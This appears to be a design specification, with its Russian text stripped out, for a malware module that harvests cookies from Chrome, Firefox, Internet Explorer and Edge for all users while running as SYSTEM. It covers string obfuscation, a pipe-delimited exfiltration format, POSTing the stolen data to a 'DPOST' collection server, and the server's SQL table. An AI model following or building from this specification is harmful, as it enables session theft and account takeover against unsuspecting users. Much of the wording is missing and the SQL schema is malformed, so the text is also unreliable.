      COOKIES 

  

      (Chrome, Firefox, Internet Explorer, Microsoft Edge)     DPOST  .
  :
-       
-    -   DPOST
-     ,     SYSTEM

 

1.      ,      .
2.     SYSTEM,    -        .
        ,      .
3.        WantRelease ( "module_HOWTO")    
4.       ,        .
       ,    ,    .  .
5.    :
- "Version build %DATE% %TIME%" (   )
- "Cookies grabbed from <browser name> for user <username>"   
- "No cookies  from <browser name> for user <username>"      
- "Cookies sent to server"      DPOST
- "Cookies send failure: servers unavailable"     DPOST
6.       C++ STL (std::string, ).
     std::mutex    -      
     WinAPI (CRITICAL_SECTION ).
7.    Andrivet (, . _STR())
8.     GetApi.h.  ,     .
9.      - x32-  x64-.
10.         ,    .
11.     .      c:/temp/cookies.log (     ).
12.       config.h ( ,   -     - , -   ).
13.        Windows.
       Windows - Windows XP (  - Windows Vista).


 DPOST

. "   DPOST".
  ,   :

username|browser|domain|cookie_name|cookie_value|created|expires|path\r\n



username     -  
browser      -   (enum = chrome|ff|ie|edge)
domain       -  
cookie_name  -  
cookie_value -  
created      - - , Unix time
expires      - - , Unix time
path         -  URI


 DPOST

. "   DPOST".
       Control("dpost",...)


   DERO

1.       . ,   84

2.      ( SQL):
CREATE TABLE cookies (
  id SERIAL,
  username VARCHAR(255),
  browser VARCHAR(255)
  domain VARCHAR(255)
  cookie_name VARCHAR(255)
  cookie_value VARCHAR(255)
  created DATETIME,
  expires DATETIME,
  path VARCHAR(255)
);

3.      :
-  ,   . 
  -    UNIX,   DOS.
  -  .
    -   |
 :

username|browser|domain|cookie_name|cookie_value|created|expires|path\r\n



username     -  
browser      -   (enum = chrome|ff|ie|edge)
domain       -  
cookie_name  -  
cookie_value -  
created      - - , Unix time
expires      - - , Unix time
path         -  URI

-   URI /group/id/84
 HTTP POST
    data
